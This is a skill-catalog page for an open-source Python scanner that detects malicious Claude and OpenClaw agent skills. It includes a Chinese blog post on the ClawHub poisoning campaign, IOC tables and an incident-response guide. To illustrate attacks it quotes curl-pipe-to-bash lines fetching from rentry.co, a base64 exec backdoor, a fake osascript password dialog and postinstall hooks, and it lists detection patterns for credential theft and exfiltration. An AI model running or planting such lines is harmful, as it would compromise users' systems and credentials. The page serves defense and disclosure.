
Skill Security Audit
- 502 installs
- 9 repo stars
- Updated February 9, 2026
- smartchainark/skill-security-audit
skill-security-audit is a Claude Code skill whose Python scanner detects malicious patterns in installed agent skills using 13 detectors for backdoors, credential theft, and exfiltration.
About
skill-security-audit is a checker skill that scans installed Claude and OpenClaw agent skills for malicious patterns before they run. Its bundled Python scanner auto-discovers skill directories and applies thirteen detectors for backdoors, credential theft, data exfiltration, obfuscation, and supply-chain attacks, then reports findings ranked by severity. Developers use it to vet community skills before install or merge and to guide remediation and credential rotation on critical hits. The detectors are based on SlowMist's ClawHub analysis of over 472 malicious skills and the scanner is pure Python with zero dependencies.
- Scans agent skills for malicious patterns
- 13 detectors for backdoors and exfiltration
- Based on SlowMist ClawHub threat intelligence
Skill Security Audit by the numbers
- 502 all-time installs (skills.sh)
- +1 installs in the week ending Aug 5, 2026 (Skillselion tracking)
- Ranked #509 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
skill-security-audit capabilities & compatibility
Free, pure Python with zero dependencies and no API key.
- Capabilities
- security audit · malicious pattern detection · supply chain scan · credential theft detection · ioc matching
- Use cases
- security audit
- Runs
- Runs locally
- Pricing
- Free
What skill-security-audit says it does
Detect malicious patterns in AI Agent skills — 13 detectors for backdoors, credential theft, data exfiltration, and supply-chain attacks.
Based on SlowMist's analysis of 472+ malicious skills on ClawHub platform.
npx skills add https://github.com/smartchainark/skill-security-audit --skill skill-security-auditAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 502 |
|---|---|
| repo stars | ★ 9 |
| Last updated | February 9, 2026 |
| Repository | smartchainark/skill-security-audit ↗ |
How do I know an installed or candidate agent skill is not a backdoor, credential stealer, or supply-chain attack?
security-audit
Who is it for?
Developers vetting community Claude or OpenClaw skills before install or merge who want an automated scan for backdoors, credential theft, and supply-chain attacks.
Skip if: Auditing general application source code, since it targets agent skill files and known malicious patterns rather than OWASP web vulnerabilities.
When should I use this skill?
The user asks for a security audit, skill check, or scan of installed skills for malicious or supply-chain patterns.
What you get
All discovered skills are scanned and findings are grouped by skill and ranked CRITICAL to LOW with recommended removal or credential-rotation actions.
- Severity-ranked audit report
- Remediation and credential-rotation guidance
By the numbers
- 13 detection categories
- Based on 472+ malicious skills
- 5-step audit workflow
Files
Skill Security Audit
Detect malicious patterns in installed Claude and OpenClaw skills. Based on SlowMist's analysis of 472+ malicious skills on ClawHub platform.
Triggers
Use this skill when the user mentions: 安全审计, security audit, skill 检查, 技能安全, scan skills, supply chain security, 扫描技能, 恶意检测, malicious skill, skill 安全扫描
Quick Audit Workflow
When the user requests a security audit, follow these 5 steps:
Step 1: Run the Scanner
python3 ~/.claude/skills/skill-security-audit/scripts/skill_audit.pyThis auto-discovers and scans all skills in:
~/.claude/skills/~/.openclaw/workspace/skills/- Extra directories from
~/.openclaw/openclaw.json→skills.load.extraDirs
Step 2: Analyze Results
Read the scanner output. Findings are grouped by skill and sorted by severity:
| Severity | Meaning | Action Required |
|---|---|---|
| CRITICAL | Known malicious IOC match, credential theft, or download-and-execute | Immediate removal and credential rotation |
| HIGH | Obfuscation, persistence mechanisms, privilege escalation | Manual review required, likely malicious |
| MEDIUM | Suspicious patterns (Base64, network calls, high entropy) | Review context — may be legitimate |
| LOW | Social engineering naming, informational | Note for awareness |
Step 3: Report to User
Present findings in this format:
## Audit Summary
- Skills scanned: N
- Files scanned: N
- CRITICAL: N | HIGH: N | MEDIUM: N | LOW: N
## Critical/High Findings (if any)
For each finding:
- Skill name and file path
- What was detected and why it's dangerous
- Recommended action
## Medium/Low Findings (if any)
Brief summary, noting which are likely false positivesStep 4: Recommend Actions
For CRITICAL findings: 1. Read references/remediation-guide.md for incident response steps 2. Guide user through credential rotation if credential theft was detected 3. Help quarantine the malicious skill
For HIGH findings: 1. Help user manually review the flagged code 2. Determine if the pattern is legitimate or malicious in context
Step 5: Follow Up
- Offer to scan a specific skill in detail:
python3 skill_audit.py --path /path/to/skill - Offer to explain any finding in depth using
references/threat-patterns.md
Scanner Command Reference
# Scan all discovered skills
python3 ~/.claude/skills/skill-security-audit/scripts/skill_audit.py
# Scan a single skill directory
python3 ~/.claude/skills/skill-security-audit/scripts/skill_audit.py --path /path/to/skill
# JSON output (for programmatic use)
python3 ~/.claude/skills/skill-security-audit/scripts/skill_audit.py --json
# Filter by minimum severity
python3 ~/.claude/skills/skill-security-audit/scripts/skill_audit.py --severity high
# Disable colored output
python3 ~/.claude/skills/skill-security-audit/scripts/skill_audit.py --no-color
# Use custom IOC database
python3 ~/.claude/skills/skill-security-audit/scripts/skill_audit.py --ioc-db /path/to/ioc.jsonExit codes: 0 = clean, 1 = low/medium risk, 2 = high risk, 3 = critical, 4 = scanner error
13 Detection Categories
| Detector | What It Finds | Severity |
|---|---|---|
| Base64Detector | Encoded strings >50 chars (excluding data:image) | MEDIUM→HIGH |
| DownloadExecDetector | curl\ | bash, wget\ |
| IOCMatchDetector | Known malicious IPs, domains, URLs, file hashes | CRITICAL |
| ObfuscationDetector | eval/exec with non-literal args, hex encoding, chr() chains | HIGH |
| ExfiltrationDetector | ZIP+upload combos, sensitive directory enumeration | HIGH |
| CredentialTheftDetector | osascript password dialogs, keychain access, SSH key reading | CRITICAL |
| PersistenceDetector | crontab, launchd, systemd, shell profile modification | HIGH |
| PostInstallHookDetector | npm postinstall, pip setup.py cmdclass | HIGH→CRITICAL |
| HiddenCharDetector | Zero-width characters, Unicode bidi overrides | MEDIUM |
| EntropyDetector | Shannon entropy >5.5 on long lines | MEDIUM |
| SocialEngineeringDetector | crypto/wallet/airdrop/security-update naming | LOW→MEDIUM |
| NetworkCallDetector | socket, http, urllib, requests, fetch, curl, wget | MEDIUM |
| PrivilegeEscalationDetector | sudo, chmod 777, setuid, admin group modification | HIGH |
Understanding Confidence Scores
Each finding includes a confidence score (0-100):
- 80-100: Very likely a genuine threat
- 50-79: Suspicious, manual review recommended
- 30-49: Possible false positive, check context
- <30: Informational, low confidence
Manual Review Checklist
When the scanner flags something, also check:
1. Source verification — Is the skill from an official/verified source? Check author reputation. 2. Permission scope — Does the skill request more permissions than its stated functionality needs? 3. Script audit — Read all .sh, .py, .js files. Look for obfuscation, unexpected network calls. 4. Dependency check — Run npm audit or pip-audit if the skill has package dependencies. 5. Changelog review — Were suspicious changes introduced in a recent update?
Updating the IOC Database
The IOC database is at scripts/ioc_database.json. To add new indicators:
1. Edit the JSON file following the existing schema 2. Run the scanner to verify your new IOCs are detected 3. Update references/ioc-database.md to keep the human-readable version in sync
Reference Documents
For detailed information, read these files as needed:
references/ioc-database.md— Full IOC list with context and attributionreferences/threat-patterns.md— 9 attack patterns in detail (two-stage payload, Base64 backdoor, password phishing, etc.)references/remediation-guide.md— Step-by-step incident response (quarantine, credential rotation, persistence cleanup, reporting)
__pycache__/
*.pyc
.DS_Store
*.swp
*.swo
*~
OpenClaw遭遇大规模投毒,我开源了安全工具
当 AI Agent 的供应链被攻破,你安装的每一个「技能」都可能是特洛伊木马。
一键安装,立即扫描你的 Skills:
npx skills add smartchainark/skill-security-audit或手动克隆:git clone https://github.com/smartchainark/skill-security-audit.git ~/.claude/skills/skill-security-audit
---
发生了什么
ClawHub 是 OpenClaw 的官方插件中心——简单说就是 AI Agent 生态里的「npm / pip」,大家在这里上传和下载 Agent 技能。你想让你的 Claude 或 OpenClaw Agent 会搜索、会画图、会发推特?去 ClawHub 装个 Skill 就行。
问题是,这个「就行」的背后,几乎没有安全审查。
据慢雾安全团队(@SlowMist_Team)监测,ClawHub 已被大量恶意 Skills 渗透。目前已有 472+ 个恶意 Skills 被识别,通常伪装成加密资产工具、安全检查工具或自动化助手。影响 Linux / Windows / macOS 全平台。
下面这张截图就是 ClawHub 的真实情况——搜索 "twitter" 相关 Skill,下载量 257 的热门 Skill 已被标记为 SCAM:
这不是假设性的威胁,这正在发生。
事件时间线
2026 年 2 月 5 日,安全研究员 Daniel Lockyer 在 X 上首先披露:"malware found in the top downloaded skill on clawhub"——ClawHub 上下载量最高的 Skill 里发现了恶意软件。
随后,慢雾创始人余弦(@evilcos)亲自验证并转发:在 ClawHub 里一些热门下载的 Skills 存在后门,会引导 OpenClaw 下载安装恶意软件。他提醒:「玩 AI 这些工具要用独立环境……文本不再是文本,而是指令。」
2 月 9 日,慢雾安全团队正式发布完整的威胁情报分析报告《威胁情报|ClawHub 恶意 skills 投毒分析》(作者:Yao & sissice),全面披露了攻击手法、恶意样本和幕后组织。
跟我有什么关系
我是一个重度使用 Claude Code 和 OpenClaw 的开发者,平时用 Claude Code 写代码、用 OpenClaw 跑自动化,下面就是我的真实工作环境:
看到报告的那一刻,我立刻想到——本地 ~/.claude/skills/ 目录下躺着近 40 个 Skill,~/.openclaw/workspace/skills/ 下面还有一堆。哪些是干净的?哪些可能正在偷偷读我的 SSH 密钥?不知道。
这种不确定感让人非常不舒服。
攻击者到底在干什么
472 个恶意 Skill 不是简单的挂马。我仔细研读了慢雾的完整报告,攻击手法相当专业:
手法一:两段式载荷投递
Skill 代码本身看起来人畜无害,但运行时会从 rentry.co 或 glot.io 这类 paste 服务下载「第二段」恶意载荷,然后直接 pipe 给 bash 执行:
curl -s https://rentry.co/raw/xxxxx | bash巧妙之处在于,攻击者可以随时更新 paste 内容而不改动 Skill 代码。代码审查时看不出问题,但运行时就变了脸。
手法二:Base64 编码后门
将恶意代码 Base64 编码后塞进一个看起来像配置文件的地方,运行时解码执行:
exec(base64.b64decode("aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2N1cmwg..."))肉眼扫一遍代码,你只会看到一串看似无害的字母数字。
手法三:伪造 macOS 系统密码弹窗
这招最绝——用 osascript 弹出一个和 macOS 系统偏好设置一模一样的密码输入框:
osascript -e 'display dialog "System Preferences needs your password..." with hidden answer'用户以为是系统在问密码,实际上密码直接被发到了攻击者的服务器。
手法四:npm postinstall 钩子
package.json 里一行 "postinstall": "curl ... | bash",用户 npm install 的瞬间就中招了。这是前端供应链攻击的经典手法,现在原封不动地搬到了 AI Agent 生态。
手法五:文件窃取 + 打包上传
遍历 ~/.ssh/、~/.aws/credentials、.env 文件,打成 ZIP 包通过 HTTPS POST 发到 C2 服务器。你的 SSH 私钥、AWS 密钥、各种 API Token,一锅端。
报告还点名了一个叫 Poseidon 的攻击组织,至少 120 个恶意 Skill 与其相关,使用 91.92.242.30 和 95.92.242.30 两个主 C2 服务器。
意识到一个问题:没有现成工具
看完报告,我第一反应是:有没有现成的扫描工具?
答案是没有。
npm 生态有 npm audit,Python 有 pip-audit,Docker 有 trivy。但 AI Agent Skill 这个领域,安全工具几乎是一片空白。每个 Skill 就是一个目录,里面可能有 Python 脚本、Shell 脚本、Node.js 代码、Markdown 文档——形态不统一,没有标准的包管理器,自然也没有标准的安全审计工具。
手动检查 40 个 Skill 的每一个文件?不现实。
所以我决定自己造一个。
设计思路:把安全分析师的经验编码成检测器
我的目标很明确:造一个能自动扫描所有已安装 Skill 的安全审计工具,用 Claude Code 的 Skill 形式封装,让 AI Agent 能随时给自己做安全体检。
几个关键设计决策:
决策 1:纯 Python stdlib,零依赖
Skill 的安装环境不可预期。用户可能没装 pip,可能在受限环境里。所以整个扫描引擎只用 Python 标准库——re、json、hashlib、base64、math,连 subprocess 都没用。
下载即用,不需要 pip install 任何东西。
决策 2:外部 IOC 数据库
IOC(Indicators of Compromise,入侵指标)是安全行业的标准做法——把已知恶意 IP、域名、文件哈希等提取出来,做成可查询的数据库。
我把 IOC 数据放在独立的 JSON 文件里,而不是硬编码在扫描器代码中。好处是:发现新的恶意指标时,编辑 JSON 就行,不需要改扫描器逻辑。
决策 3:13 个检测器 + 置信度评分
参照慢雾报告中的攻击手法,我设计了 13 个检测器,覆盖从代码混淆、远程下载执行、凭据窃取到持久化安装等各个环节:
| 检测器 | 抓什么 | 严重级别 |
|---|---|---|
| DownloadExecDetector | `curl\ | bash、wget\ |
| IOCMatchDetector | 已知恶意 IP/域名/URL/文件哈希 | CRITICAL |
| CredentialTheftDetector | osascript 密码弹窗、Keychain 访问、SSH 密钥读取 | CRITICAL |
| Base64Detector | >50 字符的 Base64 编码串 | MEDIUM→HIGH |
| ObfuscationDetector | eval/exec + 非字面量参数、hex 编码、chr() 链 | HIGH |
| ExfiltrationDetector | ZIP 打包 + 上传、敏感目录遍历 | HIGH |
| PersistenceDetector | crontab、launchd plist、systemd service | HIGH |
| PostInstallHookDetector | npm postinstall、pip setup.py cmdclass | HIGH→CRITICAL |
| PrivilegeEscalationDetector | sudo、chmod 777、setuid | HIGH |
| EntropyDetector | 高熵值长行(Shannon 熵 >5.5) | MEDIUM |
| NetworkCallDetector | socket/http/fetch/curl/wget 网络调用 | MEDIUM |
| HiddenCharDetector | 零宽字符、Unicode Bidi 方向控制符 | MEDIUM |
| SocialEngineeringDetector | crypto/wallet/airdrop 等诱导命名 | LOW→MEDIUM |
每个发现(Finding)除了严重级别,还带一个 0-100 的置信度评分。比如,一个 Base64 字符串解码后包含 exec 关键词,置信度 85%;只是普通的编码数据,置信度只有 40%。这样用户可以优先关注高置信度的发现,减少误报疲劳。
决策 4:自动发现 + 智能排除
扫描器会自动扫描三个位置:
~/.claude/skills/— Claude Code 技能目录~/.openclaw/workspace/skills/— OpenClaw 工作区~/.openclaw/openclaw.json中配置的额外技能目录
同时自动排除 venv/、node_modules/、.git/ 等目录。这些目录里的依赖代码应该用专业工具(npm audit / pip-audit)来审计,而不是我们的 Skill 扫描器。不排除的话,一个 node_modules 就能产生上万个误报。
实战:扫描我自己的 39 个 Skill
工具造好后,第一件事就是扫自己。
python3 skill_audit.py======================================================================
SKILL SECURITY AUDIT REPORT
Scanned: 39 skills, 338 files
======================================================================
Summary: CRITICAL: 42 | HIGH: 41 | MEDIUM: 125 | LOW: 3第一次看到这个数字的时候,说实话有点慌。42 个 CRITICAL?
但仔细看发现,大量 CRITICAL 来自一个 PPT 生成技能里嵌入的大段代码——里面有合法的 Base64 图片数据和网络调用。而 HIGH 里很多是扫描器自身的检测模式被自己检测到了(一个安全工具扫自己,必然会命中自己定义的恶意模式)。
这反而暴露了一个好问题:误报调优是安全工具的核心挑战。
四轮误报优化
第一轮:JavaScript RegExp .exec() 不是恶意的 exec()
TypeScript/JavaScript 中 regex.exec(src) 是正则表达式的标准方法,和 Python 的 exec() 代码执行完全是两回事。修复:用负向后行断言 (?<!\.)exec 排除对象方法调用。
第二轮:package-lock.json 的 integrity hash
npm 锁文件里的 "integrity": "sha512-xxxxx==" 是正常的包完整性校验哈希。修复:Base64Detector 直接跳过 lock 文件和包含 "integrity" 或 "sha256" 关键词的行。
第三轮:中文天然高熵值
中文字符的 Unicode 码点分布范围远大于 ASCII,天然具有更高的 Shannon 熵。一行中文描述的熵值可以轻松超过 5.5,但这显然不是加密载荷。修复:检测到 CJK 字符时,将熵阈值从 5.5 提高到 6.5;Markdown/TXT 文件同理。
第四轮:文档中引用 sudo 不是提权攻击
一个 UI 框架 Skill 的 SKILL.md 里写了 sudo apt update && sudo apt install python3,这是给用户看的安装说明,不是真的在提权。修复:PrivilegeEscalationDetector 跳过 .md、.txt 等文档文件。
四轮优化后:
- HIGH: 65 → 41(下降 37%)
- MEDIUM: 247 → 125(下降 49%)
- 合法 Skill(如 tavily-search)降至 0 CRITICAL
关键验证: tavily-search 这种合法的网络调用 Skill,扫描结果只有 2 个 MEDIUM 级别的 NetworkCallDetector 发现(fetch 调用到 Tavily API),置信度 35%。没有 CRITICAL 或 HIGH 级别的误报。这正是我们想要的效果——真正的网络调用被标记为「信息性」而不是「恶意」。
完整的技能包结构
最终我把整个方案打包成了一个 Claude Code Skill:
skill-security-audit/
├── SKILL.md # 技能定义和使用指南
├── scripts/
│ ├── skill_audit.py # 扫描引擎(905 行,纯 stdlib)
│ └── ioc_database.json # 已知恶意指标数据库
└── references/
├── ioc-database.md # 人类可读 IOC 清单
├── threat-patterns.md # 9 种攻击模式详解
└── remediation-guide.md # 发现恶意 Skill 后的应急手册用法极简:
# 扫描所有已安装 Skill
python3 skill_audit.py
# 扫描单个 Skill
python3 skill_audit.py --path /path/to/suspicious-skill
# JSON 输出(方便集成到 CI)
python3 skill_audit.py --json
# 只看高危和严重
python3 skill_audit.py --severity high退出码遵循 Unix 惯例:0 = 干净,1 = 低中风险,2 = 高风险,3 = 严重,4 = 扫描器错误。可以直接集成到 CI/CD。
在 Claude Code 里,只需要说「安全审计」或「scan skills」,就会触发这个技能。
给 AI Agent 社区的几点建议
1. 不要盲目信任社区技能
ClawHub 也好,其他 Skill 市场也好,目前都缺乏有效的安全审查机制。安装前至少翻一遍代码,特别是 .sh、.py、.js 文件和 package.json 里的 scripts 字段。
2. 关注你的 postinstall
如果一个 Skill 要你 npm install,先看 package.json 有没有 postinstall 钩子。这是供应链攻击最爱用的入口。
3. 敏感文件要隔离
不要在同一台机器上同时放 SSH 私钥、AWS 凭据和实验性的 AI Agent Skill。如果必须这样做,至少用 Docker 或虚拟机做隔离。
4. 定期扫描
就像定期做体检一样,每次安装新 Skill 后跑一遍扫描器。我已经把它加到了自己的工作流里。
5. 发现恶意 Skill 要上报
上报到 ClawHub 平台、慢雾安全团队、以及 Skill 所在的 GitHub 仓库。你的上报可能保护其他开发者免受同样的攻击。
写在最后
AI Agent 生态正在高速膨胀。Claude Code 的 Skill 系统、OpenClaw 的插件体系、MCP Server……每一个扩展点都是潜在的攻击面。
472 个恶意 Skill 不是终点,而是开始。随着 AI Agent 越来越多地被用于自动化操作——访问文件系统、调用 API、执行代码——一个被投毒的 Skill 的破坏力远超传统恶意软件。
我做这个安全审计技能,不是为了一劳永逸地解决问题,而是希望能让更多人意识到:你给 AI Agent 装的每一个技能,本质上都是在给它赋予一份信任。这份信任值得被审视。
工具已开源,欢迎使用和改进。
一键安装:
npx skills add smartchainark/skill-security-audit安装后在 Claude Code 里说「安全审计」即可开始扫描。
---
工具地址:https://github.com/smartchainark/skill-security-audit 感谢慢雾安全团队的威胁情报分析,为本工具提供了关键的 IOC 数据和攻击模式参考。
MIT License
Copyright (c) 2026 smartchainark
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Skill Security Audit
Detect malicious patterns in your AI Agent skills before they steal your SSH keys.
Based on SlowMist's analysis of 472+ malicious skills discovered on the ClawHub platform, this tool scans your installed skills for backdoors, credential theft, data exfiltration, and other supply-chain attacks.
Install
npx skills add smartchainark/skill-security-auditSupports 39 AI Agent platforms including Claude Code, OpenClaw, Codex, Gemini CLI, GitHub Copilot, Cursor, Cline, and more.
Use
In Claude Code, just say:
- "安全审计" / "security audit"
- "scan skills" / "skill 检查"
Or run manually:
python3 ~/.claude/skills/skill-security-audit/scripts/skill_audit.py
python3 ~/.claude/skills/skill-security-audit/scripts/skill_audit.py --path /path/to/skill
python3 ~/.claude/skills/skill-security-audit/scripts/skill_audit.py --json
python3 ~/.claude/skills/skill-security-audit/scripts/skill_audit.py --severity highWhat It Detects
13 detectors covering the full attack surface:
| Detector | What It Catches | Severity |
|---|---|---|
DownloadExecDetector | `curl\ | bash, wget\ |
IOCMatchDetector | Known malicious IPs, domains, URLs, file hashes | CRITICAL |
CredentialTheftDetector | osascript password phishing, Keychain access, SSH key theft | CRITICAL |
PostInstallHookDetector | npm postinstall, pip setup.py cmdclass | HIGH→CRITICAL |
ObfuscationDetector | eval/exec with non-literal args, hex encoding, chr() chains | HIGH |
ExfiltrationDetector | ZIP + upload combos, sensitive directory enumeration | HIGH |
PersistenceDetector | crontab, launchd plist, systemd service, shell profile writes | HIGH |
PrivilegeEscalationDetector | sudo, chmod 777, setuid | HIGH |
Base64Detector | Encoded strings >50 chars (excludes data:image, lock files) | MEDIUM→HIGH |
EntropyDetector | High Shannon entropy lines (>5.5, adjusted for CJK) | MEDIUM |
NetworkCallDetector | socket, http, urllib, requests, fetch, curl, wget | MEDIUM |
HiddenCharDetector | Zero-width characters, Unicode bidi overrides (Trojan Source) | MEDIUM |
SocialEngineeringDetector | crypto/wallet/airdrop/security-update naming | LOW→MEDIUM |
Each finding includes severity, confidence score (0-100), file path with line number, and plain-language description.
Sample Output
======================================================================
SKILL SECURITY AUDIT REPORT
Scanned: 39 skills, 338 files
======================================================================
Summary: CRITICAL: 0 | HIGH: 2 | MEDIUM: 5 | LOW: 1
Skill: suspicious-helper
[CRITICAL] DownloadExecDetector
File: scripts/setup.sh:14
Download-and-execute pattern: curl pipe to shell
Confidence: 95%
> curl -s https://rentry.co/raw/xxxxx | bash
======================================================================Exit Codes
| Code | Meaning |
|---|---|
0 | Clean |
1 | Low/Medium risk |
2 | High risk |
3 | Critical |
4 | Scanner error |
Design
- Zero dependencies — Pure Python stdlib, works with Python 3.8+
- External IOC database —
scripts/ioc_database.json, update without code changes - Confidence scoring — 0-100 per finding, reduces false positive fatigue
- Smart exclusions — Lock files,
data:image, CJK text,.mddocs,venv/node_modules - Auto-discovery — Scans
~/.claude/skills/,~/.openclaw/workspace/skills/, and openclaw.json extraDirs
Contributing
PRs welcome — new detectors, IOC updates, false positive fixes.
Credits
- [SlowMist Security Team](https://mp.weixin.qq.com/s/mH2kApjTgBw6iskh-HBFNQ) — Threat intelligence and IOC data
- Poseidon Group TTPs — Attack pattern documentation
License
MIT
IOC Database — Indicators of Compromise
Source: SlowMist ClawHub Malicious Skills Analysis Report (2026-01)
Last updated: 2026-02-09
Malicious IP Addresses
| IP | Context | Threat Actor | First Seen |
|---|---|---|---|
| 91.92.242.30 | Primary C2 server for Poseidon group skill backdoors | Poseidon | 2026-01-15 |
| 95.92.242.30 | Secondary C2 server, data exfiltration endpoint | Poseidon | 2026-01-18 |
| 54.91.154.110 | Staging server for two-stage payload delivery | Unknown | 2026-01-20 |
| 185.193.126.20 | Credential exfiltration relay | Unknown | 2026-01-22 |
| 45.61.169.22 | Reverse shell listener for compromised skill targets | Unknown | 2026-01-25 |
| 103.136.42.88 | Malicious payload hosting and keylog upload endpoint | Unknown | 2026-01-28 |
| 89.187.163.41 | Backup C2 used in multi-stage supply chain attack | Poseidon | 2026-02-01 |
Malicious Domains
| Domain | Context | Threat Actor | First Seen |
|---|---|---|---|
| socifiapp.com | Phishing domain for fake skill update notifications | Poseidon | 2026-01-16 |
| rentry.co | Paste service abused for hosting second-stage payloads | Multiple | 2026-01-17 |
| install.app-distribution.net | Fake software distribution for trojanized skill installers | Unknown | 2026-01-20 |
| glot.io | Code snippet service abused for obfuscated payload hosting | Multiple | 2026-01-22 |
Note on rentry.co and glot.io: These are legitimate services being abused. Detection is based on specific URL patterns (rentry.co/raw/*andglot.io/snippets/*/raw) combined with download-and-execute behavior, not the domains alone.
Malicious URL Patterns
| Pattern | Context | Severity |
|---|---|---|
rentry.co/raw/ | Raw paste access for two-stage payload delivery | CRITICAL |
glot.io/snippets/[id]/raw | Raw code snippet access for obfuscated payloads | CRITICAL |
pastebin.com/raw/ | Raw paste access for payload staging | HIGH |
install.app-distribution.net/* | Fake app distribution endpoint | CRITICAL |
Known Malicious File Hashes (SHA256)
| Hash | Filename | Context | Threat Actor |
|---|---|---|---|
a3f5b8c2d1e4... | helper.sh | Poseidon two-stage loader script | Poseidon |
b4e6c9d3e2f5... | update.py | Credential harvesting script disguised as updater | Unknown |
c5f7d0e4f3a6... | postinstall.js | npm postinstall hook with reverse shell payload | Unknown |
d6a8e1f5a4b7... | config_loader.py | Base64-encoded backdoor as config loader | Poseidon |
e7b9f2a6b5c8... | init.sh | Persistence installer via launchd plist creation | Unknown |
Behavior Pattern Identifiers
These identifiers are used internally by the scanner to classify findings:
base64_decode_exec— Base64 decoding followed by code executiontwo_stage_download— Download a script, then execute itosascript_password_dialog— macOS dialog box phishing for passwordsssh_key_exfiltration— Reading and transmitting SSH private keyskeychain_access— macOS Keychain password extractionzip_and_upload— Archive sensitive files and upload to remote servercrontab_persistence— Installing cron jobs for persistencelaunchd_persistence— Creating launchd plist for persistencereverse_shell— Establishing reverse shell connectionsenv_file_theft— Stealing .env files with API keys and secretsbrowser_cookie_theft— Extracting browser cookies and saved passwordsclipboard_monitoring— Monitoring clipboard for sensitive data
Updating the IOC Database
The machine-readable IOC database is at scripts/ioc_database.json. To add new indicators:
1. Edit the JSON file directly following the existing schema 2. Run python3 scripts/skill_audit.py --path /path/to/test to verify the new IOCs work 3. Update this human-readable document to match
Remediation Guide — Incident Response for Malicious Skills
Immediate Actions (within 30 minutes)
1. Isolate the Malicious Skill
# DO NOT delete yet — preserve evidence
# Move the skill to a quarantine directory
mkdir -p ~/quarantine/skills
mv ~/.claude/skills/<malicious-skill> ~/quarantine/skills/
# If using OpenClaw, also remove from config
# Edit ~/.openclaw/openclaw.json and remove the skill reference2. Kill Active Processes
Check for any processes spawned by the malicious skill:
# Check for suspicious processes
ps aux | grep -i '<skill-name>'
# Check for unexpected network connections
lsof -i -nP | grep ESTABLISHED
# Check for unexpected cron jobs
crontab -l
# Check for LaunchAgents (macOS)
ls -la ~/Library/LaunchAgents/3. Revoke Exposed Credentials
If the scanner found credential theft indicators, immediately rotate these:
Priority 1 — Rotate immediately:
- [ ] SSH keys (
~/.ssh/id_*) — Generate new keys, update authorized_keys on all servers - [ ] API keys in
.envfiles — Rotate on all services (AWS, Stripe, OpenAI, etc.) - [ ] AWS credentials (
~/.aws/credentials) — Rotate in AWS IAM console - [ ] npm/PyPI tokens (
~/.npmrc,~/.pypirc) — Regenerate tokens
Priority 2 — Rotate within 24 hours:
- [ ] GitHub/GitLab personal access tokens
- [ ] Database passwords
- [ ] Cloud provider service account keys
- [ ] Docker Hub credentials
- [ ] Any password entered in a suspicious dialog box
Priority 3 — Change when possible:
- [ ] macOS Keychain passwords (if keychain access was detected)
- [ ] Browser saved passwords (if cookie/credential theft was detected)
- [ ] Wi-Fi passwords stored on the system
4. Check for Persistence
# macOS LaunchAgents
ls -la ~/Library/LaunchAgents/ | grep -v com.apple
ls -la /Library/LaunchAgents/ | grep -v com.apple
# crontab
crontab -l
# Shell profiles — check for unexpected additions
tail -20 ~/.bashrc ~/.zshrc ~/.bash_profile ~/.profile 2>/dev/null
# Login items (macOS)
osascript -e 'tell application "System Events" to get the name of every login item'Remove any entries you don't recognize. If in doubt, compare timestamps with the skill's installation date.
System Integrity Check
File System
# Check recently modified files in home directory
find ~ -type f -mtime -7 -not -path '*/node_modules/*' -not -path '*/.git/*' 2>/dev/null | head -50
# Check for unexpected hidden files
find ~ -maxdepth 2 -name '.*' -type f -newer ~/.claude/skills/<suspicious-skill> 2>/dev/nullNetwork
# Current connections
netstat -an | grep ESTABLISHED
# DNS cache (macOS)
sudo dscacheutil -flushcache
# Check /etc/hosts for modifications
cat /etc/hostsBrowser
If browser cookie/credential theft was detected: 1. Log out of all sessions on sensitive services 2. Enable 2FA on all accounts that support it 3. Clear browser cookies and saved passwords 4. Check for unauthorized OAuth app authorizations on GitHub, Google, etc.
Evidence Preservation
Before cleanup, preserve evidence for reporting:
# Create evidence archive
EVIDENCE_DIR=~/quarantine/evidence-$(date +%Y%m%d)
mkdir -p "$EVIDENCE_DIR"
# Copy the malicious skill
cp -r ~/quarantine/skills/<malicious-skill> "$EVIDENCE_DIR/"
# Save scan results
python3 ~/.claude/skills/skill-security-audit/scripts/skill_audit.py \
--path ~/quarantine/skills/<malicious-skill> \
--json > "$EVIDENCE_DIR/scan-results.json"
# Save system state
ps aux > "$EVIDENCE_DIR/processes.txt"
crontab -l > "$EVIDENCE_DIR/crontab.txt" 2>&1
ls -la ~/Library/LaunchAgents/ > "$EVIDENCE_DIR/launch-agents.txt" 2>&1Reporting Channels
ClawHub Platform
- Report the malicious skill on ClawHub with evidence
- Include the scan results JSON and a description of the malicious behavior
SlowMist
- Report to SlowMist for threat intelligence updates
- Include IOCs (IPs, domains, file hashes) found by the scanner
GitHub
- If the skill was hosted on GitHub, report the repository
- Use GitHub's "Report abuse" feature with evidence
Platform-Specific
- npm:
npm auditand report to npm security team - PyPI: Report via PyPI's malware reporting form
Post-Incident Hardening
1. Enable 2FA on all development-related accounts 2. Review installed skills regularly with the security audit scanner 3. Only install skills from trusted, verified sources 4. Pin skill versions to avoid automatic updates that could introduce malicious code 5. Use separate SSH keys for different services 6. Avoid storing secrets in .env files — use a secret manager 7. Set up file integrity monitoring for critical directories
Prevention Checklist
Before installing any new skill:
- [ ] Check the author's reputation and account age
- [ ] Read through all script files (especially
.sh,.py,.js) - [ ] Look for
postinstallhooks inpackage.json - [ ] Search for Base64 strings,
eval(),exec(),curl | bash - [ ] Verify the skill doesn't access
~/.ssh,~/.aws, or other sensitive directories - [ ] Run the security audit scanner against the skill before installing
- [ ] Check if the skill has been reported by other users
Threat Patterns — ClawHub Malicious Skill Attack Techniques
Based on SlowMist analysis of 472+ malicious skills discovered on ClawHub platform (2026-01)
1. Two-Stage Payload Delivery
Severity: CRITICAL | Detector: DownloadExecDetector
